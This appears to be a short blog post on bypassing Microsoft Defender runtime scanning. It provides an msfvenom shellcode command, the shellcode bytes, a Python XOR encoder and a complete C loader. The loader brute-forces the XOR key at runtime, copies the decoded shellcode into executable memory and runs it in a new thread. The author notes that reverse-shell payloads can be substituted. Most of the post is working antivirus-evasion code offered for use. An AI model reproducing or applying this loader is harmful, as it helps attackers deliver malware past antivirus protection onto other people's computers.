synawk

Feeling Lucky? Bypassing Microsoft Defender Runtime Scanning

Today, evading Microsoft Defender is far too simple; there are numerous methods available. This post focuses on Runtime Scanning and how to use bruteforce to decode a msfvenom shellcode while avoiding Windows AV.

This post is quite short; I simply want to explain a simple method of bypassing Microsoft Defender using C. This method essentially employs brute force to get the key with which the shellcode has been encoded. So the first step is to use msfvenom to generate this shellcode.

msfvenom -p windows/x64/exec CMD="calc" EXITFUNC=thread -f c

This line will generate shellcode that will open the calculator; however, you can use another type of shellcode (reverse tcp, nc).

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

If i use the shellcode like this, the compiler will store it into .data section. I don’t want this because the antivirus will be able to access the shellcode pointer and identify it as malware. I’m going to write the shellcode array byte by byte in order to store it in the .text section. But first, i encoded the shellcode with an ephimeral key (0x80 for this example). Another key or even a multibyte encoding can be used.

data = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65 ]

for n in data:
	print("0x%x" % (n ^ 0x80), end=",")
	
unsigned char buf[] = {0x7c,0xc8,0x3,0x64,0x70,0x68,0x40,0x80,0x80,0x80,0xc1,0xd1,0xc1,0xd0,0xd2,0xd1,0xd6,0xc8,0xb1,0x52,0xe5,0xc8,0xb,0xd2,0xe0,0xc8,0xb,0xd2,0x98,0xc8,0xb,0xd2,0xa0,0xc8,0xb,0xf2,0xd0,0xc8,0x8f,0x37,0xca,0xca,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xbc,0xe1,0xfc,0x82,0xac,0xa0,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0x62,0x6d,0xd2,0xc1,0xd1,0xc8,0xb,0xd2,0xa0,0xb,0xc2,0xbc,0xc8,0x81,0x50,0xb,0x0,0x8,0x80,0x80,0x80,0xc8,0x5,0x40,0xf4,0xe7,0xc8,0x81,0x50,0xd0,0xb,0xc8,0x98,0xc4,0xb,0xc0,0xa0,0xc9,0x81,0x50,0x63,0xd6,0xc8,0x7f,0x49,0xc1,0xb,0xb4,0x8,0xc8,0x81,0x56,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0xb8,0x60,0xf5,0x71,0xcc,0x83,0xcc,0xa4,0x88,0xc5,0xb9,0x51,0xf5,0x58,0xd8,0xc4,0xb,0xc0,0xa4,0xc9,0x81,0x50,0xe6,0xc1,0xb,0x8c,0xc8,0xc4,0xb,0xc0,0x9c,0xc9,0x81,0x50,0xc1,0xb,0x84,0x8,0xc8,0x81,0x50,0xc1,0xd8,0xc1,0xd8,0xde,0xd9,0xda,0xc1,0xd8,0xc1,0xd9,0xc1,0xda,0xc8,0x3,0x6c,0xa0,0xc1,0xd2,0x7f,0x60,0xd8,0xc1,0xd9,0xda,0xc8,0xb,0x92,0x69,0xd7,0x7f,0x7f,0x7f,0xdd,0xc8,0x3a,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0xc8,0xd,0xd,0x81,0x81,0x80,0x80,0xc1,0x3a,0xb1,0xb,0xef,0x7,0x7f,0x55,0x3b,0x60,0x9d,0xaa,0x8a,0xc1,0x3a,0x26,0x15,0x3d,0x1d,0x7f,0x55,0xc8,0x3,0x44,0xa8,0xbc,0x86,0xfc,0x8a,0x0,0x7b,0x60,0xf5,0x85,0x3b,0xc7,0x93,0xf2,0xef,0xea,0x80,0xd9,0xc1,0x9,0x5a,0x7f,0x55,0xe3,0xe1,0xec,0xe3,0x80};

We now have the payload encoded with 0x80 as the key. The next step is to write the routine to decode the shellcode; as explained previously, you can use any type of encoding; the only requirement is that you’ll be sure that the routine will find the key at some point. In my case, I only compare the first byte, that is, the actual first byte versus the encoded byte. Remember that 0xfc ^ 0x80 == 0x7c ^ 0x80, so with this knowledge, I can prepare a routine that uses ranges to guess the key (0x80); something like this:

while(res!=0xfc){
    int N=0x85;int M=0x70;
    srand(time(NULL));
    key = rand () % (N-M+1) + M;
    res = (unsigned char)((buf[0] ^ key));
   
    printf(">>test key: %x<<\n", key);
}

The routine will try the numbers between 0x70 and 0x85 and after n iterations I’ll be able to decode the shellcode using the key. Putting everything together

#include<stdio.h>
#include<windows.h>
#include<time.h>
#include <stdlib.h>

int main(){
	unsigned char buf[] = {0x7c,0xc8,0x3,0x64,0x70,0x68,0x40,0x80,0x80,0x80,0xc1,0xd1,0xc1,0xd0,0xd2,0xd1,0xd6,0xc8,0xb1,0x52,0xe5,0xc8,0xb,0xd2,0xe0,0xc8,0xb,0xd2,0x98,0xc8,0xb,0xd2,0xa0,0xc8,0xb,0xf2,0xd0,0xc8,0x8f,0x37,0xca,0xca,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xbc,0xe1,0xfc,0x82,0xac,0xa0,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0x62,0x6d,0xd2,0xc1,0xd1,0xc8,0xb,0xd2,0xa0,0xb,0xc2,0xbc,0xc8,0x81,0x50,0xb,0x0,0x8,0x80,0x80,0x80,0xc8,0x5,0x40,0xf4,0xe7,0xc8,0x81,0x50,0xd0,0xb,0xc8,0x98,0xc4,0xb,0xc0,0xa0,0xc9,0x81,0x50,0x63,0xd6,0xc8,0x7f,0x49,0xc1,0xb,0xb4,0x8,0xc8,0x81,0x56,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0xb8,0x60,0xf5,0x71,0xcc,0x83,0xcc,0xa4,0x88,0xc5,0xb9,0x51,0xf5,0x58,0xd8,0xc4,0xb,0xc0,0xa4,0xc9,0x81,0x50,0xe6,0xc1,0xb,0x8c,0xc8,0xc4,0xb,0xc0,0x9c,0xc9,0x81,0x50,0xc1,0xb,0x84,0x8,0xc8,0x81,0x50,0xc1,0xd8,0xc1,0xd8,0xde,0xd9,0xda,0xc1,0xd8,0xc1,0xd9,0xc1,0xda,0xc8,0x3,0x6c,0xa0,0xc1,0xd2,0x7f,0x60,0xd8,0xc1,0xd9,0xda,0xc8,0xb,0x92,0x69,0xd7,0x7f,0x7f,0x7f,0xdd,0xc8,0x3a,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0xc8,0xd,0xd,0x81,0x81,0x80,0x80,0xc1,0x3a,0xb1,0xb,0xef,0x7,0x7f,0x55,0x3b,0x60,0x9d,0xaa,0x8a,0xc1,0x3a,0x26,0x15,0x3d,0x1d,0x7f,0x55,0xc8,0x3,0x44,0xa8,0xbc,0x86,0xfc,0x8a,0x0,0x7b,0x60,0xf5,0x85,0x3b,0xc7,0x93,0xf2,0xef,0xea,0x80,0xd9,0xc1,0x9,0x5a,0x7f,0x55,0xe3,0xe1,0xec,0xe3,0x80};

	DWORD size = sizeof(buf);

	//already in memory
	char *lpMemory = VirtualAlloc(NULL,size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(lpMemory, buf, size);
	
	unsigned char key=0;
	unsigned char lastKey=0;
	unsigned char res=0x0;
	while(res!=0xfc){
		int N=0x85;int M=0x70;
		srand(time(NULL));
		key = rand () % (N-M+1) + M;
		res = (unsigned char)((buf[0] ^ key));
		//logs
		if(lastKey!=key)
			printf(">>test key: %x<<\n", key);
		lastKey=key;

	}
	printf(">>key: %x<<\n", key);

	char *pointer = malloc(size);
	unsigned int n=0;
	while(n<size){
		*(BYTE *)(pointer + n) = (*(BYTE *)(buf + n))^key;
		n++;
	}
	memcpy(lpMemory, pointer, size);

	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMemory, NULL, 0, 0);
	Sleep(1000);
}

This method only works with Microsoft Defender; if you try it with another antivirus, it will most likely fail. I used a xor encoding in this example, but you can use a more complex one. Just keep in mind that the brute force should not take too long at runtime.